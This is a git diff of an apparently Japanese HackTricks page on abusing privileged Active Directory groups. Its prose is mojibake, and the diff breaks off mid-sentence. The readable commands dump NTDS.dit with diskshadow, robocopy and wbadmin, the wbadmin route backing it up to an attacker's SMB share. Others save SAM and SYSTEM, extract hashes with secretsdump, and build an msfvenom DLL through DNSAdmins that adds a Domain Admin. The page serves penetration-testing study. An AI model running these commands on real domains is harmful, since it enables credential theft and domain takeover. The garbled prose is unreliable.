diff --git a/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
index 56adaef77..bdebee1f5 100644
--- a/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
+++ b/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md
@@ -4,10 +4,10 @@
âïž HackTricks Cloud âïž -ðŠ Twitter ðŠ - ðïž Twitch ðïž - ð¥ Youtube ð¥
-* **ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿ**ã§åããŠããŸããïŒ **HackTricksã§äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**PEASSã®ææ°ããŒãžã§ã³ã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãèŠã€ããŠãã ãããç¬å çãª[**NFT**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³ã§ãã
-* [**å
¬åŒã®PEASSïŒHackTricksã®ã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸãããã
-* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**telegramã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**ã**
+* **ãµã€ããŒã»ãã¥ãªãã£äŒç€Ÿ**ã§åããŠããŸããïŒ **HackTricksã§äŒç€Ÿã宣äŒ**ãããã§ããïŒãŸãã¯ã**ææ°ããŒãžã§ã³ã®PEASSã«ã¢ã¯ã»ã¹ããããHackTricksãPDFã§ããŠã³ããŒã**ãããã§ããïŒ[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)ããã§ãã¯ããŠãã ããïŒ
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)ãèŠã€ããŠãã ãããç¬å çãª[**NFTs**](https://opensea.io/collection/the-peass-family)ã®ã³ã¬ã¯ã·ã§ã³ã§ã
+* [**å
¬åŒã®PEASSïŒHackTricksã®ã°ããº**](https://peass.creator-spring.com)ãæã«å
¥ããŸããã
+* [**ð¬**](https://emojipedia.org/speech-balloon/) [**Discordã°ã«ãŒã**](https://discord.gg/hRep4RUj7f)ãŸãã¯[**telegramã°ã«ãŒã**](https://t.me/peass)ã«**åå **ãããã**Twitter**ã§**ãã©ããŒ**ããŠãã ãã[**ðŠ**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ãããã³ã°ã®ããªãã¯ãå
±æããã«ã¯ãPRã** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ãš** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ã«æåºããŠãã ããã**
@@ -18,7 +18,7 @@
* **Domain Admins**
* **Enterprise Admins**
-ä»ã«ããã»ãã¥ãªãã£è©äŸ¡äžã«è€æ°ã®æ»æãã¯ãã«ãé£éãããéã«åœ¹ç«ã€ã¢ã«ãŠã³ãã®ã¡ã³ããŒã·ãããã¢ã¯ã»ã¹ããŒã¯ã³ã®ç¹æš©ããããŸãã
+ä»ã«ããã»ãã¥ãªãã£è©äŸ¡äžã«è€æ°ã®æ»æãã¯ãã«ãé£éãããéã«åœ¹ç«ã€ã¢ã«ãŠã³ãã®ã¡ã³ããŒã·ãããšã¢ã¯ã»ã¹ããŒã¯ã³ã®ç¹æš©ããããŸãã
## ã¢ã«ãŠã³ããªãã¬ãŒã¿ãŒ
@@ -33,7 +33,7 @@ Get-NetGroupMember -Identity "Account Operators" -Recurse
![](<../../.gitbook/assets/1 (2) (1) (1).png>)
-ããããæ°ãããŠãŒã¶ãŒãè¿œå ããããšã¯ã§ããŸãïŒ
+ããããæ°ãããŠãŒã¶ãŒãè¿œå ããããšã¯ãŸã å¯èœã§ãïŒ
![](../../.gitbook/assets/a2.png)
@@ -43,9 +43,9 @@ Get-NetGroupMember -Identity "Account Operators" -Recurse
## AdminSDHolderã°ã«ãŒã
-**AdminSDHolder**ãªããžã§ã¯ãã®ã¢ã¯ã»ã¹å¶åŸ¡ãªã¹ãïŒACLïŒã¯ãActive Directoryã®ãã¹ãŠã®ãä¿è·ãããã°ã«ãŒããããã³ãããã®ã¡ã³ããŒã«**æš©éãã³ããŒ**ããããã«äœ¿çšãããŸããä¿è·ãããã°ã«ãŒãã«ã¯ãDomain AdminsãAdministratorsãEnterprise Adminsãããã³Schema Adminsãªã©ã®ç¹æš©ã°ã«ãŒããå«ãŸããŸãã\
-ããã©ã«ãã§ã¯ããã®ã°ã«ãŒãã®ACLã¯ãä¿è·ãããã°ã«ãŒããã®ãã¹ãŠã«ã³ããŒãããŸããããã¯ããããã®éèŠãªã°ã«ãŒããžã®æå³çãŸãã¯å¶çºçãªå€æŽãé²ãããã«è¡ãããŸãããã ããæ»æè
ãäŸãã°éåžžã®ãŠãŒã¶ãŒã«å®å
šãªæš©éãäžããããã«ã°ã«ãŒã**AdminSDHolder**ã®ACLãå€æŽããå Žåããã®ãŠãŒã¶ãŒã¯ä¿è·ãããã°ã«ãŒãå
ã®ãã¹ãŠã®ã°ã«ãŒãã«å¯ŸããŠå®å
šãªæš©éãæã€ããšã«ãªããŸãïŒ1æé以å
ã«ïŒã\
-ãããŠã誰ãããã®ãŠãŒã¶ãŒãDomain Adminsããåé€ããããšããå Žåã1æé以å
ã«ãŠãŒã¶ãŒã¯ã°ã«ãŒãã«æ»ããŸãã
+**AdminSDHolder**ãªããžã§ã¯ãã®ã¢ã¯ã»ã¹å¶åŸ¡ãªã¹ãïŒACLïŒã¯ãActive Directoryå
ã®ãã¹ãŠã®ãä¿è·ãããã°ã«ãŒããããã³ãããã®ã¡ã³ããŒã«**æš©éãã³ããŒ**ããããã«äœ¿çšãããŸããä¿è·ãããã°ã«ãŒãã«ã¯ãDomain AdminsãAdministratorsãEnterprise Adminsãããã³Schema Adminsãªã©ã®ç¹æš©ã°ã«ãŒããå«ãŸããŸãã\
+ããã©ã«ãã§ã¯ããã®ã°ã«ãŒãã®ACLã¯ãä¿è·ãããã°ã«ãŒããå
ã«ã³ããŒãããŸããããã¯ããããã®éèŠãªã°ã«ãŒããžã®æå³çãŸãã¯å¶çºçãªå€æŽãé²ãããã«è¡ãããŸãããã ããæ»æè
ãäŸãã°éåžžã®ãŠãŒã¶ãŒã«å®å
šãªæš©éãäžãããªã©ãAdminSDHolderã°ã«ãŒãã®ACLãå€æŽããå Žåããã®ãŠãŒã¶ãŒã¯ä¿è·ãããã°ã«ãŒãå
ã®ãã¹ãŠã®ã°ã«ãŒãã«å¯ŸããŠå®å
šãªæš©éãæã€ããšã«ãªããŸãïŒ1æé以å
ã«ïŒã\
+ãããŠããã誰ãããã®ãŠãŒã¶ãŒãDomain Adminsããåé€ããããšããå Žåã1æé以å
ã«ãŠãŒã¶ãŒã¯ã°ã«ãŒãã«æ»ãããŸãã
ã°ã«ãŒãã®**ã¡ã³ããŒ**ãååŸããïŒ
```powershell
@@ -59,13 +59,13 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
```powershell
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
```
-1æéåŸ
ã¡ãããªãå Žåã¯ã次ã®PSã¹ã¯ãªããã䜿çšããŠå³åº§ã«åŸ©å
ãè¡ãããšãã§ããŸãïŒ[https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)
+1æéåŸ
ã€ã®ãå«ãªå Žåã¯ãPSã¹ã¯ãªããã䜿çšããŠå³åº§ã«åŸ©å
ããããšãã§ããŸãïŒ[https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1)
[**詳现ã¯ired.teamãåç
§ããŠãã ããã**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence)
## **AD Recycle Bin**
-ãã®ã°ã«ãŒãã«ã¯ãåé€ãããADãªããžã§ã¯ããèªã¿åãæš©éããããŸããããã«ã¯èå³æ·±ãæ
å ±ãå«ãŸããŠããå ŽåããããŸãã
+ãã®ã°ã«ãŒãã«ã¯ãåé€ãããADãªããžã§ã¯ããèªã¿åãæš©éããããŸããããã«ã¯èå³æ·±ãæ
å ±ãå«ãŸããŠãããããããŸããã
```bash
#This isn't a powerview command, it's a feature from the AD management powershell module of Microsoft
#You need to be in the "AD Recycle Bin" group of the AD to list the deleted AD objects
@@ -87,7 +87,7 @@ Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
### ç¹æš©ææ Œ
-[`PsService`](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice)ãŸãã¯Sysinternalsã®`sc`ã䜿çšããŠããµãŒãã¹ã®ã¢ã¯ã»ã¹èš±å¯ã確èªããŸãã
+[`PsService`](https://docs.microsoft.com/en-us/sysinternals/downloads/psservice)ãŸãã¯Sysinternalsã®`sc`ã䜿çšããŠããµãŒãã¹ã®æš©éããã§ãã¯ããŸãã
```
C:\> .\PsService.exe security AppReadiness
@@ -105,7 +105,7 @@ All
## Backup Operators
-`Server Operators`ã®ã¡ã³ããŒã·ãããšåæ§ã«ã`Backup Operators`ã«æå±ããŠããå Žåã¯ã`DC01`ãã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããŸãã
+`Server Operators`ã«æå±ããŠããå Žåãšåæ§ã«ã`Backup Operators`ã«æå±ããŠããå Žåã¯ã`DC01`ãã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããŸãã
ããã¯ããã®ã°ã«ãŒãããã®**ã¡ã³ããŒ**ã«[**`SeBackup`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4)ãš[**`SeRestore`**](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5)ã®ç¹æš©ãä»äžããŠããããã§ãã**SeBackupPrivilege**ã«ãããä»»æã®ãã©ã«ãããã©ããŒã¹ãããã©ã«ãã®å
容ããªã¹ãããããšãã§ããŸããããã«ãããä»ã«æš©éãäžããããŠããªãå Žåã§ãããã©ã«ããããã¡ã€ã«ãã³ããŒããããšãã§ããŸãããã ãããã¡ã€ã«ãã³ããŒããããã«ã¯ããã©ã°[**FILE_FLAG_BACKUP_SEMANTICS**](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea)ã䜿çšããå¿
èŠããããŸãããããã£ãŠãç¹å¥ãªããŒã«ãå¿
èŠã§ãã
@@ -132,13 +132,15 @@ Copy-FileSeBackupPrivilege C:\Users\Administrator\\report.pdf c:\temp\x.pdf -Ove
```
### ADæ»æ
-ããšãã°ãçŽæ¥ãã¡ã€ã³ã³ã³ãããŒã©ã®ãã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ã§ããŸãïŒ
+äŸãã°ãçŽæ¥ãã¡ã€ã³ã³ã³ãããŒã©ã®ãã¡ã€ã«ã·ã¹ãã ã«ã¢ã¯ã»ã¹ããããšãã§ããŸãïŒ
![](../../.gitbook/assets/a7.png)
ãã®ã¢ã¯ã»ã¹ãæªçšããŠããã¡ã€ã³å
ã®ãã¹ãŠã®ãŠãŒã¶ãŒãšã³ã³ãã¥ãŒã¿ãªããžã§ã¯ãã®**NTLMããã·ã¥**ãååŸããããã«ãã¢ã¯ãã£ããã£ã¬ã¯ããªããŒã¿ããŒã¹**`NTDS.dit`**ã**çã**ããšãã§ããŸãã
-[**diskshadow**](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow)ã䜿çšããŠãããšãã°`C`ãã©ã€ããš`F`ãã©ã€ãã«**ã·ã£ããŠã³ããŒ**ãäœæã§ããŸãããã®åŸãã·ã¹ãã ã«ãã£ãŠäœ¿çšãããŠããªãããããã®ã·ã£ããŠã³ããŒãã`NTDS.dit`ãã¡ã€ã«ãçãããšãã§ããŸãïŒ
+#### diskshadow.exeã䜿çšããŠNTDS.ditããã³ããã
+
+[**diskshadow**](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/diskshadow)ã䜿çšãããšã**`C`ãã©ã€ã**ãšäŸãã°`F`ãã©ã€ãã«**ã·ã£ããŠã³ããŒ**ãäœæããããšãã§ããŸãããã®åŸãã·ã¹ãã ã«ãã£ãŠäœ¿çšãããŠããªãããããã®ã·ã£ããŠã³ããŒãã`NTDS.dit`ãã¡ã€ã«ãçãããšãã§ããŸãïŒ
```
diskshadow.exe
@@ -165,27 +167,57 @@ Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
```
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
```
-次ã«ã**SYSTEM**ãš**SAM**ãç°¡åã«**çã**ããšãã§ããŸãïŒ
+次ã«ãç°¡åã«**SYSTEM**ãš**SAM**ã**çã**ããšãã§ããŸãïŒ
```
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
```
-æçµçã«ã¯ã**`NTDS.dit`** ãã**ãã¹ãŠã®ããã·ã¥ãååŸ**ã§ããŸãã
+ã€ãã«ã**`NTDS.dit`** ãã**ãã¹ãŠã®ããã·ã¥ãååŸ**ã§ããŸã:
```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
```
+#### NTDS.ditã®ãã³ãã«wbadmin.exeã䜿çšãã
+
+wbadmin.exeã®äœ¿çšæ¹æ³ã¯ãdiskshadow.exeãšéåžžã«äŒŒãŠããŸããwbadmin.exeãŠãŒãã£ãªãã£ã¯ãWindows Vista/Server 2008以éã®ããŒãžã§ã³ã«çµã¿èŸŒãŸããã³ãã³ãã©ã€ã³ãŠãŒãã£ãªãã£ã§ãã
+
+䜿çšããåã«ãæ»æè
ã®ãã·ã³ã§[**SMBãµãŒããŒã®ããã®NTFSãã¡ã€ã«ã·ã¹ãã ãã»ããã¢ãã**](https://gist.github.com/manesec/9e0e8000446b966d0f0ef74000829801)ããå¿
èŠããããŸãã
+
+SMBãµãŒããŒã®ã»ããã¢ãããå®äºããããã¿ãŒã²ãããã·ã³ã§SMBã®è³æ Œæ
å ±ããã£ãã·ã¥ããå¿
èŠããããŸãã
+```
+# cache the smb credential.
+net use X: \\\sharename /user:smbuser password
+
+# check if working.
+dir X:\
+```
+ãšã©ãŒããªããã°ãwbadmin.exeã䜿çšããŠãããæªçšããŸãã
+```
+# Start backup the system.
+# In here, no need to use `X:\`, just using `\\\sharename` should be ok.
+echo "Y" | wbadmin start backup -backuptarget:\\\sharename -include:c:\windows\ntds
+
+# Look at the backup version to get time.
+wbadmin get versions
+
+# Restore the version to dump ntds.dit.
+echo "Y" | wbadmin start recovery -version:10/09/2023-23:48 -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
+```
+ããæåããã°ã`C:\ntds.dit`ã«ãã³ããããŸãã
+
+[IPPSECã®ãã¢ãããª](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s)
+
## DnsAdmins
-**DNSAdmins**ã°ã«ãŒãã®ã¡ã³ããŒãŸãã¯**DNSãµãŒããŒ**ãªããžã§ã¯ããžã®**æžã蟌ã¿æš©é**ãæã€ãŠãŒã¶ãŒã¯ã**DNSãµãŒããŒ**äžã§**SYSTEMç¹æš©**ã§**ä»»æã®DLL**ãããŒãããããšãã§ããŸãã\
+**DNSAdmins**ã°ã«ãŒãã®ã¡ã³ããŒãŸãã¯**DNSãµãŒããŒ**ãªããžã§ã¯ããžã®**æžã蟌ã¿æš©é**ãæã€ãŠãŒã¶ãŒã¯ã**DNSãµãŒããŒ**äžã§**SYSTEMæš©é**ã§**ä»»æã®DLL**ãããŒãããããšãã§ããŸãã\
ããã¯ã**ãã¡ã€ã³ã³ã³ãããŒã©ãŒ**ãéåžžã«é »ç¹ã«**DNSãµãŒããŒ**ãšããŠäœ¿çšããããããéåžžã«èå³æ·±ãã§ãã
-ãã®\*\*\*\*[**æçš¿**](https://adsecurity.org/?p=4064)ã«ç€ºãããŠããããã«ã次ã®æ»æã¯ãDNSããã¡ã€ã³ã³ã³ãããŒã©ãŒäžã§å®è¡ãããŠããå Žåã«å®è¡ã§ããŸãïŒããã¯éåžžã«äžè¬çã§ãïŒïŒ
+ãã®\*\*\*\*[**ãã¹ã**](https://adsecurity.org/?p=4064)ã«ç€ºãããŠããããã«ã次ã®æ»æã¯ãDNSããã¡ã€ã³ã³ã³ãããŒã©ãŒäžã§å®è¡ãããŠããå ŽåïŒéåžžã«äžè¬çã§ãïŒã«å®è¡ã§ããŸãïŒ
-- DNS管çã¯RPCçµç±ã§è¡ãããŸã
-- [**ServerLevelPluginDll**](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dnsp/c9d38538-8827-44e6-aa5e-022a016ed723)ã䜿çšãããšã**DLLã®ãã¹ã®æ€èšŒããŒã**ã§ã«ã¹ã¿ã **DLL**ã**ããŒã**ããããšãã§ããŸããããã¯ãã³ãã³ãã©ã€ã³ãã`dnscmd`ããŒã«ã䜿çšããŠè¡ãããšãã§ããŸã
-- **`DnsAdmins`**ã°ã«ãŒãã®ã¡ã³ããŒã以äžã®**`dnscmd`**ã³ãã³ããå®è¡ãããšã`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll`ã¬ãžã¹ããªããŒãäœæãããŸã
-- **DNSãµãŒãã¹ãåèµ·å**ããããšããã®ãã¹ã«ãã**DLL**ã**ããŒã**ãããŸãïŒã€ãŸãããã¡ã€ã³ã³ã³ãããŒã©ãŒã®ãã·ã³ã¢ã«ãŠã³ããã¢ã¯ã»ã¹ã§ãããããã¯ãŒã¯å
±æïŒ
-- æ»æè
ã¯ã**ã«ã¹ã¿ã DLLãããŒãããŠãªããŒã¹ã·ã§ã«ãååŸ**ããããMimikatzã®ãããªããŒã«ãDLLãšããŠããŒãããŠè³æ Œæ
å ±ããã³ãããããšãã§ããŸãã
+* DNS管çã¯RPCçµç±ã§è¡ãããŸã
+* [**ServerLevelPluginDll**](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-dnsp/c9d38538-8827-44e6-aa5e-022a016ed723)ã䜿çšãããšã**DLLã®ãã¹ã®æ€èšŒããŒã**ã§ã«ã¹ã¿ã **DLL**ã**ããŒã**ããããšãã§ããŸããããã¯ãã³ãã³ãã©ã€ã³ãã`dnscmd`ããŒã«ã䜿çšããŠè¡ãããšãã§ããŸã
+* **`DnsAdmins`**ã°ã«ãŒãã®ã¡ã³ããŒã以äžã®**`dnscmd`**ã³ãã³ããå®è¡ãããšã`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll`ã¬ãžã¹ããªããŒãèšå®ãããŸã
+* **DNSãµãŒãã¹ãåèµ·å**ããããšããã®ãã¹ã«ãã**DLL**ã**ããŒã**ãããŸãïŒã€ãŸãããã¡ã€ã³ã³ã³ãããŒã©ãŒã®ãã·ã³ã¢ã«ãŠã³ããã¢ã¯ã»ã¹ã§ãããããã¯ãŒã¯å
±æïŒ
+* æ»æè
ã¯ã**ã«ã¹ã¿ã DLLãããŒãããŠãªããŒã¹ã·ã§ã«ãååŸ**ããããMimikatzã®ãããªããŒã«ãDLLãšããŠããŒãããŠè³æ Œæ
å ±ããã³ãããããšãã§ããŸãã
ã°ã«ãŒãã®**ã¡ã³ããŒ**ãååŸããïŒ
```powershell
@@ -210,9 +242,9 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
```bash
msfvenom -p windows/x64/exec cmd='net group "domain admins" /add /domain' -f dll -o adduser.dll
```
-DNSãµãŒãã¹ãéå§ãŸãã¯åèµ·åããããšãæ°ãããŠãŒã¶ãŒãäœæãããŸãã
+ãããã£ãŠã**DNSãµãŒãã¹**ãéå§ãŸãã¯åèµ·åããããšãæ°ãããŠãŒã¶ãŒãäœæãããŸãã
-DNSAdminã°ã«ãŒãå
ã«ãŠãŒã¶ãŒãããŠãã**ããã©ã«ãã§ã¯DNSãµãŒãã¹ãåæ¢ãŸãã¯åèµ·åããããšã¯ã§ããŸããã** ãã ããåžžã«æ¬¡ã®æäœãè©Šãããšãã§ããŸãã
+DNSAdminã°ã«ãŒãå
ã«ãŠãŒã¶ãŒãããŠãã**ããã©ã«ãã§ã¯DNSãµãŒãã¹ãåæ¢ããã³åèµ·åããããšã¯ã§ããŸããã** ãã ããåžžã«æ¬¡ã®æäœãè©Šãããšãã§ããŸã:
```csharp
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
@@ -221,11 +253,11 @@ sc.exe \\dc01 start dns
#### Mimilib.dll
-ãã®[**æçš¿**](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)ã§è©³ãã説æãããŠããããã«ã`Mimikatz`ããŒã«ã®äœæè
ã«ãã[**mimilib.dll**](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib)ã䜿çšããŠã[**kdns.c**](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c)ãã¡ã€ã«ã**å€æŽ**ããŠããªããŒã¹ã·ã§ã«ã®ã¯ã³ã©ã€ããŒãä»ã®ã³ãã³ããå®è¡ããããšãã§ããŸãã
+ãã®[**æçš¿**](http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html)ã§è©³ãã説æãããŠããããã«ã`Mimikatz`ããŒã«ã®äœæè
ã«ãã[**mimilib.dll**](https://github.com/gentilkiwi/mimikatz/tree/master/mimilib)ã䜿çšããŠã[**kdns.c**](https://github.com/gentilkiwi/mimikatz/blob/master/mimilib/kdns.c)ãã¡ã€ã«ã**å€æŽ**ããŠããªããŒã¹ã·ã§ã«ã®ã¯ã³ã©ã€ããŒãä»ã®ã³ãã³ããå®è¡ããããšãå¯èœã§ãã
### MitMã®ããã®WPADã¬ã³ãŒã
-DnsAdminsã°ã«ãŒãã®ç¹æš©ãæªçšããå¥ã®æ¹æ³ã¯ã**WPADã¬ã³ãŒã**ãäœæããããšã§ãããã®ã°ã«ãŒãã«æå±ããããšã§ã[ã°ããŒãã«ã¯ãšãªãããã¯ã»ãã¥ãªãã£ãç¡å¹å](https://docs.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps)ããæš©éãäžããããŸããããã©ã«ãã§ã¯ããã®æ»æã¯ãããã¯ãããŸãããµãŒããŒ2008ã§ã¯ãDNSãµãŒããŒã«ã°ããŒãã«ã¯ãšãªãããã¯ãªã¹ããè¿œå ããæ©èœãåããŠå°å
¥ãããŸãããããã©ã«ãã§ã¯ãWeb Proxy Automatic Discovery Protocol (WPAD)ãšIntra-site Automatic Tunnel Addressing Protocol (ISATAP)ãã°ããŒãã«ã¯ãšãªãããã¯ãªã¹ãã«å«ãŸããŠããŸãããããã®ãããã³ã«ã¯ãã€ãžã£ãã¯ã®è匱æ§ãéåžžã«é«ããä»»æã®ãã¡ã€ã³ãŠãŒã¶ãŒããããã®ååãå«ãã³ã³ãã¥ãŒã¿ãªããžã§ã¯ããDNSã¬ã³ãŒããäœæããããšãã§ããŸãã
+DnsAdminsã°ã«ãŒãã®ç¹æš©ãæªçšããå¥ã®æ¹æ³ã¯ã**WPADã¬ã³ãŒã**ãäœæããããšã§ãããã®ã°ã«ãŒãã«æå±ããããšã§ã[ã°ããŒãã«ã¯ãšãªãããã¯ã»ãã¥ãªãã£ãç¡å¹å](https://docs.microsoft.com/en-us/powershell/module/dnsserver/set-dnsserverglobalqueryblocklist?view=windowsserver2019-ps)ããæš©éãäžããããŸããããã©ã«ãã§ã¯ããã®æ»æããããã¯ããããã«ã°ããŒãã«ã¯ãšãªãããã¯ãªã¹ãã䜿çšãããŸãããµãŒããŒ2008ã§ã¯ãDNSãµãŒããŒã«ã°ããŒãã«ã¯ãšãªãããã¯ãªã¹ããè¿œå ããæ©èœãåããŠå°å
¥ãããŸãããããã©ã«ãã§ã¯ãWeb Proxy Automatic Discovery Protocol (WPAD)ãšIntra-site Automatic Tunnel Addressing Protocol (ISATAP)ãã°ããŒãã«ã¯ãšãªãããã¯ãªã¹ãã«å«ãŸããŠããŸãããããã®ãããã³ã«ã¯ãã€ãžã£ãã¯ã®è匱æ§ãéåžžã«é«ããä»»æã®ãã¡ã€ã³ãŠãŒã¶ãŒããããã®ååãå«ãã³ã³ãã¥ãŒã¿ãªããžã§ã¯ããDNSã¬ã³ãŒããäœæããããšãã§ããŸãã
**ã°ããŒãã«ã¯ãšãªãããã¯ãªã¹ããç¡å¹å**ãã**WPADã¬ã³ãŒããäœæ**ããåŸãããã©ã«ãèšå®ã§åäœããŠãããã¹ãŠã®WPADãå®è¡ããŠãããã·ã³ã®ãã©ãã£ãã¯ã¯ã**æ»æãã·ã³ãä»ããŠãããã·ãããŸã**ã[Responder](https://github.com/lgandx/Responder)ã[Inveigh](https://github.com/Kevin-Robertson/Inveigh)ãªã©ã®ããŒã«ã䜿çšããŠããã©ãã£ãã¯ã®ã¹ããŒãã£ã³ã°ãè¡ãããã¹ã¯ãŒãããã·ã¥ããã£ããã£ããŠãªãã©ã€ã³ã§ã¯ã©ãã¯ããããSMBRelayæ»æãå®è¡ãããããããšãã§ããŸãã
@@ -261,11 +293,11 @@ Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
```
## Hyper-V管çè
-[**Hyper-V管çè
**](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/access-control/active-directory-security-groups#hyper-v-administrators)ã°ã«ãŒãã¯ããã¹ãŠã®[Hyper-Væ©èœ](https://docs.microsoft.com/ja-jp/windows-server/manage/windows-admin-center/use/manage-virtual-machines)ã«å®å
šãªã¢ã¯ã»ã¹æš©ãæã£ãŠããŸãããã**ãã¡ã€ã³ã³ã³ãããŒã©ãŒ**ã**ä»®æ³å**ãããŠããå Žåã**ä»®æ³å管çè
**ã¯**ãã¡ã€ã³ç®¡çè
**ãšèŠãªãããã¹ãã§ãã圌ãã¯ç°¡åã«**ã©ã€ããã¡ã€ã³ã³ã³ãããŒã©ãŒã®ã¯ããŒã³**ãäœæããä»®æ³ãã£ã¹ã¯ããªãã©ã€ã³ã§**ããŠã³ã**ããŠ**`NTDS.dit`**ãã¡ã€ã«ãååŸãããã¡ã€ã³å
ã®ãã¹ãŠã®ãŠãŒã¶ãŒã®NTLMãã¹ã¯ãŒãããã·ã¥ãæœåºããããšãã§ããŸãã
+[**Hyper-V管çè
**](https://docs.microsoft.com/ja-jp/windows/security/identity-protection/access-control/active-directory-security-groups#hyper-v-administrators)ã°ã«ãŒãã¯ããã¹ãŠã®[Hyper-Væ©èœ](https://docs.microsoft.com/ja-jp/windows-server/manage/windows-admin-center/use/manage-virtual-machines)ã«å®å
šãªã¢ã¯ã»ã¹æš©ãæã£ãŠããŸãã**ãã¡ã€ã³ã³ã³ãããŒã©ãŒ**ã**ä»®æ³å**ãããŠããå Žåã**ä»®æ³å管çè
**ã¯**ãã¡ã€ã³ç®¡çè
**ãšèŠãªãããã¹ãã§ãã圌ãã¯ç°¡åã«**ã©ã€ããã¡ã€ã³ã³ã³ãããŒã©ãŒã®ã¯ããŒã³**ãäœæããä»®æ³ãã£ã¹ã¯ããªãã©ã€ã³ã§**ããŠã³ã**ããŠ**`NTDS.dit`**ãã¡ã€ã«ãååŸãããã¡ã€ã³å
ã®ãã¹ãŠã®ãŠãŒã¶ãŒã®NTLMãã¹ã¯ãŒãããã·ã¥ãæœåºããããšãã§ããŸãã
-ãŸãããã®[ããã°](https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/)ã§ã¯ãä»®æ³ãã·ã³ã**åé€**ãããšã`vmms.exe`ã察å¿ãã**`.vhdx`ãã¡ã€ã«**ã®å
ã®ãã¡ã€ã«ã¢ã¯ã»ã¹èš±å¯ã**埩å
**ããããšãããŠãŒã¶ãŒãæš¡å£ããã«`NT AUTHORITY\SYSTEM`ãšããŠè¡ããŸããç§ãã¡ã¯**`.vhdx`**ãã¡ã€ã«ã**åé€**ãããã®ãã¡ã€ã«ã**ä¿è·ãããSYSTEMãã¡ã€ã«**ã«åããããã®ãã€ãã£ããª**ããŒããªã³ã¯**ãäœæããããšãã§ããŸããããããã°ãå®å
šãªã¢ã¯ã»ã¹æš©ãäžããããŸãã
+ãŸãããã®[ããã°](https://decoder.cloud/2020/01/20/from-hyper-v-admin-to-system/)ã§è©³ãã説æãããŠããããã«ãä»®æ³ãã·ã³ã**åé€**ãããšã`vmms.exe`ã¯å¯Ÿå¿ãã**`.vhdx`ãã¡ã€ã«**ã®å
ã®ãã¡ã€ã«ã¢ã¯ã»ã¹èš±å¯ã**NT AUTHORITY\SYSTEM**ãšããŠ**埩å
**ããããšããŸããããŠãŒã¶ãŒãåœè£
